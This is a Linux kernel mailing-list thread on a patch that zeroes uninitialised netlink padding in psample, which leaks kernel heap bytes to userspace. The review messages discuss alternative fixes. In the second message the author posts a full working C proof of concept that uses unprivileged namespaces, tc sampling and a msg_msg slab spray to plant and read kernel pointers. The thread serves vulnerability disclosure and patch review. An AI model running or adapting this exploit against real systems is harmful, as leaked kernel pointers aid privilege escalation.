[PATCH net] psample: zero the netlink attribute padding in PSAMPLE_ATTR_DATA

[PATCH net] psample: zero the netlink attribute padding in PSAMPLE_ATTR_DATA

[Xiang Mei]

psample_sample_packet() open-codes the PSAMPLE_ATTR_DATA attribute.
It reserves nla_total_size(data_len) bytes via skb_put() but only writes
NLA_HDRLEN + data_len of them, so when data_len is not a multiple of 4 the
up to 3 trailing alignment-padding bytes are left uninitialised.  The skb
head comes from kmalloc_reserve(), which does not zero memory, so those
bytes hold stale slab contents that are then broadcast to all listeners on
the PSAMPLE_NL_MCGRP_SAMPLE multicast group, leaking kernel heap memory to
userspace.

Zero the trailing padding after the payload copy.

Fixes: 6ae0a6286171 ("net: Introduce psample, a new genetlink channel for packet sampling")
Reported-by: Weiming Shi <bestswngs@gmail.com>
Assisted-by: Claude:claude-opus-4-8
Signed-off-by: Xiang Mei <xmei5@asu.edu>
---
 net/psample/psample.c | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/net/psample/psample.c b/net/psample/psample.c
index 7763662036fb..26220dca0f12 100644
--- a/net/psample/psample.c
+++ b/net/psample/psample.c
@@ -485,6 +485,9 @@ void psample_sample_packet(struct psample_group *group,
 
 		if (skb_copy_bits(skb, 0, nla_data(nla), data_len))
 			goto error;
+
+		memset((unsigned char *)nla + nla->nla_len, 0,
+		       nla_padlen(data_len));
 	}
 
 #ifdef CONFIG_INET
-- 
2.43.0

Re: [PATCH net] psample: zero the netlink attribute padding in PSAMPLE_ATTR_DATA

[Xiang Mei]

Thanks for your attention to this bug. Here are some resources to help
you trigger the bug.

Required key configs:
```
CONFIG_PSAMPLE=y
CONFIG_NET_ACT_SAMPLE=y
CONFIG_NET_CLS_ACT=y
CONFIG_NET_CLS_MATCHALL=y
CONFIG_NET_SCH_INGRESS=y
CONFIG_VETH=y
CONFIG_PACKET=y
CONFIG_USER_NS=y
CONFIG_NET_NS=y
```

Here is a PoC trigger the intended kernel data leak:
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <linux/if.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/genetlink.h>
#include <linux/pkt_sched.h>
#include <linux/pkt_cls.h>
#include <linux/tc_act/tc_sample.h>
#include <linux/veth.h>
#include <arpa/inet.h>
#include <sys/ipc.h>
#include <sys/msg.h>

#define die(s) do { perror(s); exit(1); } while (0)

/* psample uapi (subset) */
#define PSAMPLE_GENL_NAME "psample"
#define PSAMPLE_NL_MCGRP_SAMPLE_NAME "packets"
#define PSAMPLE_ATTR_DATA 6
#define PSAMPLE_CMD_SAMPLE 0

#define TRUNC_SIZE 1301 /* not a multiple of 4 -> 3 padding bytes leak */

/* NLA_HDRLEN comes from <linux/netlink.h> */

/* ---- minimal netlink attribute builder ---- */
static int nla_put_(char *buf, int off, int type, const void *data, int len)
{
struct nlattr *a = (struct nlattr *)(buf + off);
a->nla_type = type;
a->nla_len = NLA_HDRLEN + len;
if (len)
memcpy((char *)a + NLA_HDRLEN, data, len);
return off + NLA_ALIGN(NLA_HDRLEN + len);
}
static int nla_put_u32_(char *b, int o, int t, uint32_t v) { return
nla_put_(b, o, t, &v, 4); }
static int nla_put_str_(char *b, int o, int t, const char *s) { return
nla_put_(b, o, t, s, strlen(s) + 1); }

/* returns offset just past the header; pass it to nest_end to fix up nla_len */
static int nest_start(char *buf, int off, int type)
{
struct nlattr *a = (struct nlattr *)(buf + off);
a->nla_type = type | NLA_F_NESTED;
a->nla_len = NLA_HDRLEN;
return off + NLA_HDRLEN;
}
static int nest_end(char *buf, int hdr, int off)
{
struct nlattr *a = (struct nlattr *)(buf + hdr - NLA_HDRLEN);
a->nla_len = off - (hdr - NLA_HDRLEN);
return off;
}

static int nl_xchg(int fd, void *msg, int len, void *rsp, int rlen)
{
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (sendto(fd, msg, len, 0, (void *)&sa, sizeof(sa)) < 0)
die("sendto");
int n = recv(fd, rsp, rlen, 0);
struct nlmsghdr *r = rsp;
if (n > 0 && r->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *e = NLMSG_DATA(r);
if (e->error)
fprintf(stderr, "[!] netlink ack: %s\n", strerror(-e->error));
}
return n;
}

/* ---- iface helpers ---- */
static int if_index(const char *name)
{
int fd = socket(AF_INET, SOCK_DGRAM, 0);
struct ifreq ifr = {};
strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0) die("SIOCGIFINDEX");
close(fd);
return ifr.ifr_ifindex;
}
static void if_up(const char *name)
{
int fd = socket(AF_INET, SOCK_DGRAM, 0);
struct ifreq ifr = {};
strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) die("SIOCGIFFLAGS");
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) die("SIOCSIFFLAGS");
close(fd);
}

static void veth_create(int rt)
{
char buf[1024] = {}, rsp[1024];
struct nlmsghdr *nh = (void *)buf;
struct ifinfomsg *ifi;
int off;

nh->nlmsg_type = RTM_NEWLINK;
nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
nh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
ifi = NLMSG_DATA(nh);
ifi->ifi_family = AF_UNSPEC;
off = nh->nlmsg_len;
off = nla_put_str_(buf, off, IFLA_IFNAME, "veth0");
int li = nest_start(buf, off, IFLA_LINKINFO);
off = nla_put_str_(buf, li, IFLA_INFO_KIND, "veth");
int id = nest_start(buf, off, IFLA_INFO_DATA);
int pe = nest_start(buf, id, VETH_INFO_PEER);
off = pe + NLMSG_ALIGN(sizeof(struct ifinfomsg)); /* peer ifinfomsg */
off = nla_put_str_(buf, off, IFLA_IFNAME, "veth1");
off = nest_end(buf, pe, off);
off = nest_end(buf, id, off);
off = nest_end(buf, li, off);
nh->nlmsg_len = off;
nl_xchg(rt, buf, off, rsp, sizeof(rsp));
}

static void qdisc_ingress(int rt, int ifindex)
{
char buf[256] = {}, rsp[256];
struct nlmsghdr *nh = (void *)buf;
struct tcmsg *tc;
int off;

nh->nlmsg_type = RTM_NEWQDISC;
nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
nh->nlmsg_len = NLMSG_LENGTH(sizeof(*tc));
tc = NLMSG_DATA(nh);
tc->tcm_family = AF_UNSPEC;
tc->tcm_ifindex = ifindex;
tc->tcm_handle = 0xffff0000; /* ffff:0 */
tc->tcm_parent = TC_H_INGRESS;
off = nla_put_str_(buf, nh->nlmsg_len, TCA_KIND, "ingress");
nh->nlmsg_len = off;
nl_xchg(rt, buf, off, rsp, sizeof(rsp));
}

/* matchall filter -> sample action (rate 1, group 1, trunc TRUNC_SIZE) */
static void filter_sample(int rt, int ifindex)
{
char buf[1024] = {}, rsp[1024];
struct nlmsghdr *nh = (void *)buf;
struct tcmsg *tc;
int off;

nh->nlmsg_type = RTM_NEWTFILTER;
nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
nh->nlmsg_len = NLMSG_LENGTH(sizeof(*tc));
tc = NLMSG_DATA(nh);
tc->tcm_family = AF_UNSPEC;
tc->tcm_ifindex = ifindex;
tc->tcm_parent = 0xffff0000;
tc->tcm_info = (1 << 16) | htons(ETH_P_ALL); /* prio 1, proto all */
off = nla_put_str_(buf, nh->nlmsg_len, TCA_KIND, "matchall");

int opt = nest_start(buf, off, TCA_OPTIONS);
int act = nest_start(buf, opt, TCA_MATCHALL_ACT);
int e1 = nest_start(buf, act, 1);
off = nla_put_str_(buf, e1, TCA_ACT_KIND, "sample");
int aopt = nest_start(buf, off, TCA_ACT_OPTIONS);
struct tc_sample p = { .action = TC_ACT_PIPE, .index = 1 };
off = nla_put_(buf, aopt, TCA_SAMPLE_PARMS, &p, sizeof(p));
off = nla_put_u32_(buf, off, TCA_SAMPLE_RATE, 1);
off = nla_put_u32_(buf, off, TCA_SAMPLE_TRUNC_SIZE, TRUNC_SIZE);
off = nla_put_u32_(buf, off, TCA_SAMPLE_PSAMPLE_GROUP, 1);
off = nest_end(buf, aopt, off);
off = nest_end(buf, e1, off);
off = nest_end(buf, act, off);
off = nest_end(buf, opt, off);
nh->nlmsg_len = off;
nl_xchg(rt, buf, off, rsp, sizeof(rsp));
}

/* resolve psample family id + "packets" multicast group id */
static uint32_t psample_mcgrp(int gfd)
{
char buf[256] = {}, rsp[4096];
struct nlmsghdr *nh = (void *)buf;
struct genlmsghdr *gh;
int off;

nh->nlmsg_type = GENL_ID_CTRL;
nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
gh = NLMSG_DATA(nh);
gh->cmd = CTRL_CMD_GETFAMILY;
off = nla_put_str_(buf, nh->nlmsg_len, CTRL_ATTR_FAMILY_NAME,
PSAMPLE_GENL_NAME);
nh->nlmsg_len = off;

int n = nl_xchg(gfd, buf, off, rsp, sizeof(rsp));
struct nlmsghdr *r = (void *)rsp;
if (n <= 0 || r->nlmsg_type == NLMSG_ERROR)
return 0;

/* walk attrs for CTRL_ATTR_MCAST_GROUPS -> {GRP_NAME, GRP_ID} */
struct genlmsghdr *g = NLMSG_DATA(r);
char *p = (char *)(g + 1);
int len = r->nlmsg_len - NLMSG_LENGTH(sizeof(*g));
for (; len > 0; len -= NLA_ALIGN(((struct nlattr *)p)->nla_len),
p += NLA_ALIGN(((struct nlattr *)p)->nla_len)) {
struct nlattr *a = (void *)p;
if ((a->nla_type & NLA_TYPE_MASK) != CTRL_ATTR_MCAST_GROUPS)
continue;
char *gp = (char *)a + NLA_HDRLEN;
int gl = a->nla_len - NLA_HDRLEN;
for (; gl > 0; gl -= NLA_ALIGN(((struct nlattr *)gp)->nla_len),
gp += NLA_ALIGN(((struct nlattr *)gp)->nla_len)) {
struct nlattr *grp = (void *)gp;
char *ip = (char *)grp + NLA_HDRLEN;
int il = grp->nla_len - NLA_HDRLEN;
const char *name = NULL; uint32_t id = 0;
for (; il > 0; il -= NLA_ALIGN(((struct nlattr *)ip)->nla_len),
ip += NLA_ALIGN(((struct nlattr *)ip)->nla_len)) {
struct nlattr *ia = (void *)ip;
int t = ia->nla_type & NLA_TYPE_MASK;
if (t == CTRL_ATTR_MCAST_GRP_NAME)
name = (char *)ia + NLA_HDRLEN;
else if (t == CTRL_ATTR_MCAST_GRP_ID)
id = *(uint32_t *)((char *)ia + NLA_HDRLEN);
}
if (name && !strcmp(name, PSAMPLE_NL_MCGRP_SAMPLE_NAME))
return id;
}
}
return 0;
}

/* Churn kmalloc-2k with msg_msg objects (each starts with two kernel heap
* pointers in its m_list) so the page the victim skb head later lands on is
* littered with 0xffff88.. bytes. INIT_ON_ALLOC is off, so a fresh skb-head
* slot inherits those bytes in its uninitialised tail padding. Without this,
* a quiet VM hands back zeroed pages and the leak, while real, stays zero. */
#define SPRAY_SZ 1900 /* sizeof(msg_msg)~48 + 1900 -> kmalloc-2k */
#define SPRAY_CNT 256
static void slab_churn(void)
{
static struct { long mtype; char mtext[SPRAY_SZ]; } m;
int q[SPRAY_CNT], n = 0;
m.mtype = 1;
memset(m.mtext, 0x41, sizeof(m.mtext));
for (int i = 0; i < SPRAY_CNT; i++) {
if ((q[n] = msgget(IPC_PRIVATE, 0600 | IPC_CREAT)) < 0) break;
msgsnd(q[n++], &m, SPRAY_SZ, IPC_NOWAIT);
}
for (int i = 0; i < n; i++) { /* free most -> pages recycled, not reclaimed */
if (i & 7) msgrcv(q[i], &m, SPRAY_SZ, 0, IPC_NOWAIT | MSG_NOERROR);
msgctl(q[i], IPC_RMID, NULL);
}
}

static int pkt_socket(void)
{
int fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (fd < 0) die("socket(AF_PACKET)");
struct sockaddr_ll sll = {
.sll_family = AF_PACKET,
.sll_protocol = htons(ETH_P_ALL),
.sll_ifindex = if_index("veth0"),
};
if (bind(fd, (void *)&sll, sizeof(sll)) < 0) die("bind packet");
return fd;
}

/* scan one multicast message for PSAMPLE_ATTR_DATA padding bytes */
static int check_sample(struct nlmsghdr *nh)
{
struct genlmsghdr *g = NLMSG_DATA(nh);
if (g->cmd != PSAMPLE_CMD_SAMPLE)
return 0;
char *p = (char *)(g + 1);
int len = nh->nlmsg_len - NLMSG_LENGTH(sizeof(*g));
for (; len > 0; len -= NLA_ALIGN(((struct nlattr *)p)->nla_len),
p += NLA_ALIGN(((struct nlattr *)p)->nla_len)) {
struct nlattr *a = (void *)p;
if ((a->nla_type & NLA_TYPE_MASK) != PSAMPLE_ATTR_DATA)
continue;
int payload = a->nla_len - NLA_HDRLEN;
int pad = NLA_ALIGN(a->nla_len) - a->nla_len;
unsigned char *q = (unsigned char *)a + a->nla_len;
int nz = 0;
for (int i = 0; i < pad; i++) nz |= q[i];
if (pad && nz) {
printf("[+] LEAK payload=%d pad=%d bytes:", payload, pad);
for (int i = 0; i < pad; i++) printf(" %02x", q[i]);
printf(" <- uninitialised kernel slab memory\n");
return 1;
}
}
return 0;
}

int main(void)
{
setvbuf(stdout, NULL, _IONBF, 0);

/* unprivileged user + net namespace -> CAP_NET_ADMIN in the new netns */
uid_t uid = getuid(), gid = getgid();
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0)
die("unshare");
int f = open("/proc/self/setgroups", O_WRONLY);
if (f >= 0) { write(f, "deny", 4); close(f); }
char m[64];
f = open("/proc/self/uid_map", O_WRONLY);
snprintf(m, sizeof(m), "0 %u 1\n", uid); write(f, m, strlen(m)); close(f);
f = open("/proc/self/gid_map", O_WRONLY);
snprintf(m, sizeof(m), "0 %u 1\n", gid); write(f, m, strlen(m)); close(f);

if_up("lo");

int rt = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (rt < 0) die("socket(rtnl)");
veth_create(rt);
if_up("veth0");
if_up("veth1");
int idx1 = if_index("veth1");
qdisc_ingress(rt, idx1);
filter_sample(rt, idx1);

int gfd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (gfd < 0) die("socket(genl)");
uint32_t mcgrp = psample_mcgrp(gfd);
if (!mcgrp) { fprintf(stderr, "[!] psample family not found
(CONFIG_PSAMPLE?)\n"); return 1; }
if (setsockopt(gfd, SOL_NETLINK, NETLINK_ADD_MEMBERSHIP, &mcgrp,
sizeof(mcgrp)) < 0)
die("NETLINK_ADD_MEMBERSHIP");
printf("[*] joined PSAMPLE 'packets' mcgrp, trunc_size=%d\n", TRUNC_SIZE);

int pkt = pkt_socket();
unsigned char frame[1500];
memset(frame, 0x41, sizeof(frame));
memset(frame, 0xff, 6); /* broadcast dst */

int leaks = 0;
for (int round = 0; round < 200 && leaks < 5; round++) {
slab_churn(); /* plant kernel pointers in kmalloc-2k before sampling */
write(pkt, frame, sizeof(frame));

char rbuf[16384];
int n = recv(gfd, rbuf, sizeof(rbuf), MSG_DONTWAIT);
if (n <= 0) { usleep(5000); continue; }
struct nlmsghdr *nh = (void *)rbuf;
for (; NLMSG_OK(nh, (unsigned)n); nh = NLMSG_NEXT(nh, n))
leaks += check_sample(nh);
}

if (leaks)
printf("[+] CONFIRMED: %d sample(s) leaked non-zero padding bytes\n", leaks);
else
printf("[-] no non-zero padding seen this run (bug is still real)\n");
return leaks ? 0 : 2;
}
```

Let me know if you have any questions about this bug.

Xiang

On Sat, Jun 6, 2026 at 8:16 PM Xiang Mei <xmei5@asu.edu> wrote:
>
> psample_sample_packet() open-codes the PSAMPLE_ATTR_DATA attribute.
> It reserves nla_total_size(data_len) bytes via skb_put() but only writes
> NLA_HDRLEN + data_len of them, so when data_len is not a multiple of 4 the
> up to 3 trailing alignment-padding bytes are left uninitialised.  The skb
> head comes from kmalloc_reserve(), which does not zero memory, so those
> bytes hold stale slab contents that are then broadcast to all listeners on
> the PSAMPLE_NL_MCGRP_SAMPLE multicast group, leaking kernel heap memory to
> userspace.
>
> Zero the trailing padding after the payload copy.
>
> Fixes: 6ae0a6286171 ("net: Introduce psample, a new genetlink channel for packet sampling")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Assisted-by: Claude:claude-opus-4-8
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
>  net/psample/psample.c | 3 +++
>  1 file changed, 3 insertions(+)
>
> diff --git a/net/psample/psample.c b/net/psample/psample.c
> index 7763662036fb..26220dca0f12 100644
> --- a/net/psample/psample.c
> +++ b/net/psample/psample.c
> @@ -485,6 +485,9 @@ void psample_sample_packet(struct psample_group *group,
>
>                 if (skb_copy_bits(skb, 0, nla_data(nla), data_len))
>                         goto error;
> +
> +               memset((unsigned char *)nla + nla->nla_len, 0,
> +                      nla_padlen(data_len));
>         }
>
>  #ifdef CONFIG_INET
> --
> 2.43.0
>

Re: [PATCH net] psample: zero the netlink attribute padding in PSAMPLE_ATTR_DATA

[Jakub Kicinski]

On Sat,  6 Jun 2026 20:16:40 -0700 Xiang Mei wrote:
> psample_sample_packet() open-codes the PSAMPLE_ATTR_DATA attribute.
> It reserves nla_total_size(data_len) bytes via skb_put() but only writes
> NLA_HDRLEN + data_len of them, so when data_len is not a multiple of 4 the
> up to 3 trailing alignment-padding bytes are left uninitialised.  The skb
> head comes from kmalloc_reserve(), which does not zero memory, so those
> bytes hold stale slab contents that are then broadcast to all listeners on
> the PSAMPLE_NL_MCGRP_SAMPLE multicast group, leaking kernel heap memory to
> userspace.
> 
> Zero the trailing padding after the payload copy.
> 
> Fixes: 6ae0a6286171 ("net: Introduce psample, a new genetlink channel for packet sampling")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Assisted-by: Claude:claude-opus-4-8
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
>  net/psample/psample.c | 3 +++
>  1 file changed, 3 insertions(+)
> 
> diff --git a/net/psample/psample.c b/net/psample/psample.c
> index 7763662036fb..26220dca0f12 100644
> --- a/net/psample/psample.c
> +++ b/net/psample/psample.c
> @@ -485,6 +485,9 @@ void psample_sample_packet(struct psample_group *group,
>  
>  		if (skb_copy_bits(skb, 0, nla_data(nla), data_len))
>  			goto error;
> +
> +		memset((unsigned char *)nla + nla->nla_len, 0,
> +		       nla_padlen(data_len));
>  	}
>  
>  #ifdef CONFIG_INET

Could you see if this diff works? I think it's slightly cleaner:


 diff --git a/net/psample/psample.c b/net/psample/psample.c
index 7763662036fb..c112e1f0ccac 100644
--- a/net/psample/psample.c
+++ b/net/psample/psample.c
@@ -476,15 +476,17 @@ void psample_sample_packet(struct psample_group *group,
                goto error;
 
        if (data_len) {
-               int nla_len = nla_total_size(data_len);
+               int nla_len = nla_attr_size(data_len);
                struct nlattr *nla;
 
                nla = skb_put(nl_skb, nla_len);
                nla->nla_type = PSAMPLE_ATTR_DATA;
-               nla->nla_len = nla_attr_size(data_len);
+               nla->nla_len = nla_len;
 
                if (skb_copy_bits(skb, 0, nla_data(nla), data_len))
                        goto error;
+
+               skb_put_zero(nl_skb, nla_padlen(data_len));
        }

 #ifdef CONFIG_INET

Re: [PATCH net] psample: zero the netlink attribute padding in PSAMPLE_ATTR_DATA

[Xiang Mei]

On Tue, Jun 09, 2026 at 06:30:18PM -0700, Jakub Kicinski wrote:
> On Sat,  6 Jun 2026 20:16:40 -0700 Xiang Mei wrote:
> > psample_sample_packet() open-codes the PSAMPLE_ATTR_DATA attribute.
> > It reserves nla_total_size(data_len) bytes via skb_put() but only writes
> > NLA_HDRLEN + data_len of them, so when data_len is not a multiple of 4 the
> > up to 3 trailing alignment-padding bytes are left uninitialised.  The skb
> > head comes from kmalloc_reserve(), which does not zero memory, so those
> > bytes hold stale slab contents that are then broadcast to all listeners on
> > the PSAMPLE_NL_MCGRP_SAMPLE multicast group, leaking kernel heap memory to
> > userspace.
> > 
> > Zero the trailing padding after the payload copy.
> > 
> > Fixes: 6ae0a6286171 ("net: Introduce psample, a new genetlink channel for packet sampling")
> > Reported-by: Weiming Shi <bestswngs@gmail.com>
> > Assisted-by: Claude:claude-opus-4-8
> > Signed-off-by: Xiang Mei <xmei5@asu.edu>
> > ---
> >  net/psample/psample.c | 3 +++
> >  1 file changed, 3 insertions(+)
> > 
> > diff --git a/net/psample/psample.c b/net/psample/psample.c
> > index 7763662036fb..26220dca0f12 100644
> > --- a/net/psample/psample.c
> > +++ b/net/psample/psample.c
> > @@ -485,6 +485,9 @@ void psample_sample_packet(struct psample_group *group,
> >  
> >  		if (skb_copy_bits(skb, 0, nla_data(nla), data_len))
> >  			goto error;
> > +
> > +		memset((unsigned char *)nla + nla->nla_len, 0,
> > +		       nla_padlen(data_len));
> >  	}
> >  
> >  #ifdef CONFIG_INET
> 
> Could you see if this diff works? I think it's slightly cleaner:
> 
> 
>  diff --git a/net/psample/psample.c b/net/psample/psample.c
> index 7763662036fb..c112e1f0ccac 100644
> --- a/net/psample/psample.c
> +++ b/net/psample/psample.c
> @@ -476,15 +476,17 @@ void psample_sample_packet(struct psample_group *group,
>                 goto error;
>  
>         if (data_len) {
> -               int nla_len = nla_total_size(data_len);
> +               int nla_len = nla_attr_size(data_len);
>                 struct nlattr *nla;
>  
>                 nla = skb_put(nl_skb, nla_len);
>                 nla->nla_type = PSAMPLE_ATTR_DATA;
> -               nla->nla_len = nla_attr_size(data_len);
> +               nla->nla_len = nla_len;
>  
>                 if (skb_copy_bits(skb, 0, nla_data(nla), data_len))
>                         goto error;
> +
> +               skb_put_zero(nl_skb, nla_padlen(data_len));
That looks better. I just found that nla_reserve can memset for us:

diff --git a/net/psample/psample.c b/net/psample/psample.c
index 7763662036fb..c112e1f0ccac 100644
--- a/net/psample/psample.c
+++ b/net/psample/psample.c
@@ -476,12 +476,11 @@ void psample_sample_packet(struct psample_group *group,
 		goto error;

 	if (data_len) {
-		int nla_len = nla_total_size(data_len);
 		struct nlattr *nla;

-		nla = skb_put(nl_skb, nla_len);
-		nla->nla_type = PSAMPLE_ATTR_DATA;
-		nla->nla_len = nla_attr_size(data_len);
+		nla = nla_reserve(nl_skb, PSAMPLE_ATTR_DATA, data_len);
+		if (!nla)
+			goto error;

 		if (skb_copy_bits(skb, 0, nla_data(nla), data_len))
 			goto error;

Let me know if the new patch makes sense.

Xiang
>         }
> 
>  #ifdef CONFIG_INET

Re: [PATCH net] psample: zero the netlink attribute padding in PSAMPLE_ATTR_DATA

[Jakub Kicinski]

On Sat, 13 Jun 2026 16:33:44 -0700 Xiang Mei wrote:
> That looks better. I just found that nla_reserve can memset for us:
> 
> diff --git a/net/psample/psample.c b/net/psample/psample.c
> index 7763662036fb..c112e1f0ccac 100644
> --- a/net/psample/psample.c
> +++ b/net/psample/psample.c
> @@ -476,12 +476,11 @@ void psample_sample_packet(struct psample_group *group,
>  		goto error;
> 
>  	if (data_len) {
> -		int nla_len = nla_total_size(data_len);
>  		struct nlattr *nla;
> 
> -		nla = skb_put(nl_skb, nla_len);
> -		nla->nla_type = PSAMPLE_ATTR_DATA;
> -		nla->nla_len = nla_attr_size(data_len);
> +		nla = nla_reserve(nl_skb, PSAMPLE_ATTR_DATA, data_len);
> +		if (!nla)
> +			goto error;
> 
>  		if (skb_copy_bits(skb, 0, nla_data(nla), data_len))
>  			goto error;
> 
> Let me know if the new patch makes sense.

I assumed the author intentionally was avoiding the memset for 
the memory we will override with data. Otherwise the whole dance 
could be avoided and nla_put() would have been the answer.

Re: [PATCH net] psample: zero the netlink attribute padding in PSAMPLE_ATTR_DATA

[Xiang Mei]

On Sat, Jun 13, 2026 at 4:48 PM Jakub Kicinski <kuba@kernel.org> wrote:
>
> On Sat, 13 Jun 2026 16:33:44 -0700 Xiang Mei wrote:
> > That looks better. I just found that nla_reserve can memset for us:
> >
> > diff --git a/net/psample/psample.c b/net/psample/psample.c
> > index 7763662036fb..c112e1f0ccac 100644
> > --- a/net/psample/psample.c
> > +++ b/net/psample/psample.c
> > @@ -476,12 +476,11 @@ void psample_sample_packet(struct psample_group *group,
> >               goto error;
> >
> >       if (data_len) {
> > -             int nla_len = nla_total_size(data_len);
> >               struct nlattr *nla;
> >
> > -             nla = skb_put(nl_skb, nla_len);
> > -             nla->nla_type = PSAMPLE_ATTR_DATA;
> > -             nla->nla_len = nla_attr_size(data_len);
> > +             nla = nla_reserve(nl_skb, PSAMPLE_ATTR_DATA, data_len);
> > +             if (!nla)
> > +                     goto error;
> >
> >               if (skb_copy_bits(skb, 0, nla_data(nla), data_len))
> >                       goto error;
> >
> > Let me know if the new patch makes sense.
>
> I assumed the author intentionally was avoiding the memset for
> the memory we will override with data. Otherwise the whole dance
> could be avoided and nla_put() would have been the answer.


The reason nla_put() isn't used here is that the payload source is the
sampled skb, which can be nonlinear, so the data has to be gathered with
skb_copy_bits() rather than a flat memcpy(). There is no nla_put() variant
that takes an skb source, hence the reserve-then-copy.

But that doesn't require open-coding the attribute: nla_reserve() only
memsets the alignment padding (nla_padlen), never the data region, so
nla_reserve() + skb_copy_bits() writes every byte exactly once with no
redundant memset over the payload. The bug was that the open-coded
version dropped that padding-zero step.

Xiang

Re: [PATCH net] psample: zero the netlink attribute padding in PSAMPLE_ATTR_DATA

[Jakub Kicinski]

On Sat, 13 Jun 2026 17:02:39 -0700 Xiang Mei wrote:
> > >       if (data_len) {
> > > -             int nla_len = nla_total_size(data_len);
> > >               struct nlattr *nla;
> > >
> > > -             nla = skb_put(nl_skb, nla_len);
> > > -             nla->nla_type = PSAMPLE_ATTR_DATA;
> > > -             nla->nla_len = nla_attr_size(data_len);
> > > +             nla = nla_reserve(nl_skb, PSAMPLE_ATTR_DATA, data_len);
> > > +             if (!nla)
> > > +                     goto error;
> > >
> > >               if (skb_copy_bits(skb, 0, nla_data(nla), data_len))
> > >                       goto error;
> > >
> > > Let me know if the new patch makes sense.  
> >
> > I assumed the author intentionally was avoiding the memset for
> > the memory we will override with data. Otherwise the whole dance
> > could be avoided and nla_put() would have been the answer.  
> 
> The reason nla_put() isn't used here is that the payload source is the
> sampled skb, which can be nonlinear, so the data has to be gathered with
> skb_copy_bits() rather than a flat memcpy().

That too.

> There is no nla_put() variant that takes an skb source, hence the
> reserve-then-copy.
> 
> But that doesn't require open-coding the attribute: nla_reserve() only
> memsets the alignment padding (nla_padlen), never the data region, so
> nla_reserve() + skb_copy_bits() writes every byte exactly once with no
> redundant memset over the payload. The bug was that the open-coded
> version dropped that padding-zero step.

I find it hard to believe that nla_reserve() was not considered.
It's a widely used function in the networking stack.
Please move on.

Re: [PATCH net] psample: zero the netlink attribute padding in PSAMPLE_ATTR_DATA

[Xiang Mei]

On Sat, Jun 13, 2026 at 5:10 PM Jakub Kicinski <kuba@kernel.org> wrote:
>
> On Sat, 13 Jun 2026 17:02:39 -0700 Xiang Mei wrote:
> > > >       if (data_len) {
> > > > -             int nla_len = nla_total_size(data_len);
> > > >               struct nlattr *nla;
> > > >
> > > > -             nla = skb_put(nl_skb, nla_len);
> > > > -             nla->nla_type = PSAMPLE_ATTR_DATA;
> > > > -             nla->nla_len = nla_attr_size(data_len);
> > > > +             nla = nla_reserve(nl_skb, PSAMPLE_ATTR_DATA, data_len);
> > > > +             if (!nla)
> > > > +                     goto error;
> > > >
> > > >               if (skb_copy_bits(skb, 0, nla_data(nla), data_len))
> > > >                       goto error;
> > > >
> > > > Let me know if the new patch makes sense.
> > >
> > > I assumed the author intentionally was avoiding the memset for
> > > the memory we will override with data. Otherwise the whole dance
> > > could be avoided and nla_put() would have been the answer.
> >
> > The reason nla_put() isn't used here is that the payload source is the
> > sampled skb, which can be nonlinear, so the data has to be gathered with
> > skb_copy_bits() rather than a flat memcpy().
>
> That too.
>
> > There is no nla_put() variant that takes an skb source, hence the
> > reserve-then-copy.
> >
> > But that doesn't require open-coding the attribute: nla_reserve() only
> > memsets the alignment padding (nla_padlen), never the data region, so
> > nla_reserve() + skb_copy_bits() writes every byte exactly once with no
> > redundant memset over the payload. The bug was that the open-coded
> > version dropped that padding-zero step.
>
> I find it hard to believe that nla_reserve() was not considered.
> It's a widely used function in the networking stack.
Thanks for your time of discussion. v3 has been sent.

Xiang
> Please move on.